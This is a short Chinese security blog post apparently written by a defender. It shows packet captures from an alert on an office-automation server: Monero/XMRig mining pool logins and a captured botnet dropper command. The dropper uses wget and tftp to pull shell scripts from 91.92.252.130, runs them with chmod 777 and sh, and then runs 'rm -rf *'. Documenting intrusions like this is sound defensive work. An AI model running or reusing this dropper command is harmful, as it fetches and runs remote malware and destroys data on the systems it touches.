每天拦截一个挖矿

IT技术伪专家

已于 2024-04-23 08:43:43 修改

阅读量429

点赞数 3

分类专栏：网络安全技术专栏文章标签：安全威胁分析

于 2024-04-22 10:28:12 首次发布

本文链接：https://blog.csdn.net/qq_43681990/article/details/138065171

版权

网络安全技术专栏专栏收录该内容

9 篇文章 0 订阅

订阅专栏

明御APT攻击预警平台截获挖矿告警，告警来自于40.43OA服务器
在这里插入图片描述

数据包情况
0000 ：
0010 ：
0020 ：
0030 ：
0040 ：7B 22 69 64 22 3A 20 31   2C 20 22 6D 65 74 68 6F
64 22 3A 20 22 6D 69 6E   69 6E 67 2E 73 75 62 73
63 72 69 62 65 22 2C 20   22 70 61 72 61 6D 73 22
3A 20 5B 5D 2C 20 22 6A   73 6F 6E 72 70 63 22 3A
22 32 2E 30 22 7D 0A{"id": 1, "metho
d": "mining.subs
cribe", "params"
: [], "jsonrpc":
"2.0"}.

0000 ：
0010 ：
0020 ：
0030 ：
0040 ：
0050 ：
0060 ：
0070 ：
0080 ：
0090 ：
00A0 ：
00B0 ：
00C0 ：
00D0 ：
00E0 ：
00F0 ：
0100 ：
0110 ：41 41 00 00 41 41 41 41   20 63 64 20 2F 74 6D 70
20 7C 7C 20 63 64 20 2F   76 61 72 2F 72 75 6E 20
7C 7C 20 63 64 20 2F 6D   6E 74 20 7C 7C 20 63 64
20 2F 72 6F 6F 74 20 7C   7C 20 63 64 20 2F 3B 20
77 67 65 74 20 68 74 74   70 3A 2F 2F 39 31 2E 39
32 2E 32 35 32 2E 31 33   30 2F 73 6E 79 70 65 2E
73 68 3B 20 63 68 6D 6F   64 20 37 37 37 20 73 6E
79 70 65 2E 73 68 3B 20   73 68 20 73 6E 79 70 65
2E 73 68 3B 20 74 66 74   70 20 39 31 2E 39 32 2E
32 35 32 2E 31 33 30 20   2D 63 20 67 65 74 20 74
66 74 70 31 2E 73 68 3B   20 63 68 6D 6F 64 20 37
37 37 20 74 66 74 70 31   2E 73 68 3B 20 73 68 20
74 66 74 70 31 2E 73 68   3B 20 74 66 74 70 20 2D
72 20 74 66 74 70 32 2E   73 68 20 2D 67 20 39 31
2E 39 32 2E 32 35 32 2E   31 33 30 3B 20 63 68 6D
6F 64 20 37 37 37 20 74   66 74 70 32 2E 73 68 3B
20 73 68 20 74 66 74 70   32 2E 73 68 3B 20 72 6D
20 2D 72 66 20 2A 0AAA..AAAA cd /tmp
|| cd /var/run
|| cd /mnt || cd
/root || cd /;
wget http://91.9
2.252.130/snype.
sh; chmod 777 sn
ype.sh; sh snype
.sh; tftp 91.92.
252.130 -c get t
ftp1.sh; chmod 7
77 tftp1.sh; sh
tftp1.sh; tftp -
r tftp2.sh -g 91
.92.252.130; chm
od 777 tftp2.sh;
sh tftp2.sh; rm
-rf *.

http://91.92.252.130/snype.sh

0000 ：
0010 ：
0020 ：
0030 ：
0040 ：
0050 ：
0060 ：
0070 ：
0080 ：
0090 ：
00A0 ：
00B0 ：7B 22 69 64 22 3A 31 2C   22 6A 73 6F 6E 72 70 63
22 3A 22 32 2E 30 22 2C   22 6D 65 74 68 6F 64 22
3A 22 6C 6F 67 69 6E 22   2C 22 70 61 72 61 6D 73
22 3A 7B 22 6C 6F 67 69   6E 22 3A 22 59 4F 55 52
5F 57 41 4C 4C 45 54 5F   41 44 44 52 45 53 53 22
2C 22 70 61 73 73 22 3A   22 78 22 2C 22 61 67 65
6E 74 22 3A 22 58 4D 52   69 67 2F 36 2E 32 30 2E
30 2D 43 33 50 6F 6F 6C   22 2C 22 61 6C 67 6F 22
3A 5B 22 63 6E 2F 31 22   5D 2C 22 61 6C 67 6F 2D
70 65 72 66 22 3A 7B 22   63 6E 2F 31 22 3A 36 33
2E 33 32 30 33 38 32 32   33 32 34 38 39 37 36 7D
7D 7D 0A{"id":1,"jsonrpc
":"2.0","method"
:"login","params
":{"login":"YOUR
_WALLET_ADDRESS"
,"pass":"x","age
nt":"XMRig/6.20.
0-C3Pool","algo"
:["cn/1"],"algo-
perf":{"cn/1":63
.32038223248976}
}}.

在这里插入图片描述
百年的老挖矿了

门罗币挖矿

0000 ：
0010 ：
0020 ：
0030 ：
0040 ：
0050 ：
0060 ：
0070 ：
0080 ：
0090 ：
00A0 ：
00B0 ：
00C0 ：
00D0 ：
00E0 ：
00F0 ：
0100 ：
0110 ：
0120 ：
0130 ：
0140 ：
0150 ：
0160 ：
0170 ：
0180 ：7B 22 69 64 22 3A 31 2C   22 6A 73 6F 6E 72 70 63
22 3A 22 32 2E 30 22 2C   22 6D 65 74 68 6F 64 22
3A 22 6C 6F 67 69 6E 22   2C 22 70 61 72 61 6D 73
22 3A 7B 22 6C 6F 67 69   6E 22 3A 22 43 50 55 3A
20 31 32 43 2F 32 34 54   20 4D 65 6D 6F 72 79 3A
20 36 32 47 42 20 58 4D   52 69 67 3A 20 36 2E 36
2E 30 20 53 69 6E 63 65   3A 32 30 32 31 2F 31 2F
33 30 20 34 3A 32 38 3A   31 31 22 2C 22 70 61 73
73 22 3A 22 78 22 2C 22   61 67 65 6E 74 22 3A 22
58 4D 52 69 67 2F 36 2E   36 2E 30 20 28 4C 69 6E
75 78 20 78 38 36 5F 36   34 29 20 6C 69 62 75 76
2F 31 2E 34 30 2E 30 20   67 63 63 2F 39 2E 33 2E
31 22 2C 22 61 6C 67 6F   22 3A 5B 22 63 6E 2F 31
22 2C 22 63 6E 2F 32 22   2C 22 63 6E 2F 72 22 2C
22 63 6E 2F 66 61 73 74   22 2C 22 63 6E 2F 68 61
6C 66 22 2C 22 63 6E 2F   78 61 6F 22 2C 22 63 6E
2F 72 74 6F 22 2C 22 63   6E 2F 72 77 7A 22 2C 22
63 6E 2F 7A 6C 73 22 2C   22 63 6E 2F 64 6F 75 62
6C 65 22 2C 22 63 6E 2F   63 63 78 22 2C 22 72 78
2F 30 22 2C 22 72 78 2F   77 6F 77 22 2C 22 72 78
2F 61 72 71 22 2C 22 72   78 2F 73 66 78 22 2C 22
72 78 2F 6B 65 76 61 22   2C 22 61 72 67 6F 6E 32
2F 63 68 75 6B 77 61 22   2C 22 61 72 67 6F 6E 32
2F 63 68 75 6B 77 61 76   32 22 2C 22 61 72 67 6F
6E 32 2F 77 72 6B 7A 22   5D 7D 7D 0A{"id":1,"jsonrpc
":"2.0","method"
:"login","params
":{"login":"CPU:
12C/24T Memory:
62GB XMRig: 6.6
.0 Since:2021/1/
30 4:28:11","pas
s":"x","agent":"
XMRig/6.6.0 (Lin
ux x86_64) libuv
/1.40.0 gcc/9.3.
1","algo":["cn/1
","cn/2","cn/r",
"cn/fast","cn/ha
lf","cn/xao","cn
/rto","cn/rwz","
cn/zls","cn/doub
le","cn/ccx","rx
/0","rx/wow","rx
/arq","rx/sfx","
rx/keva","argon2
/chukwa","argon2
/chukwav2","argo
n2/wrkz"]}}.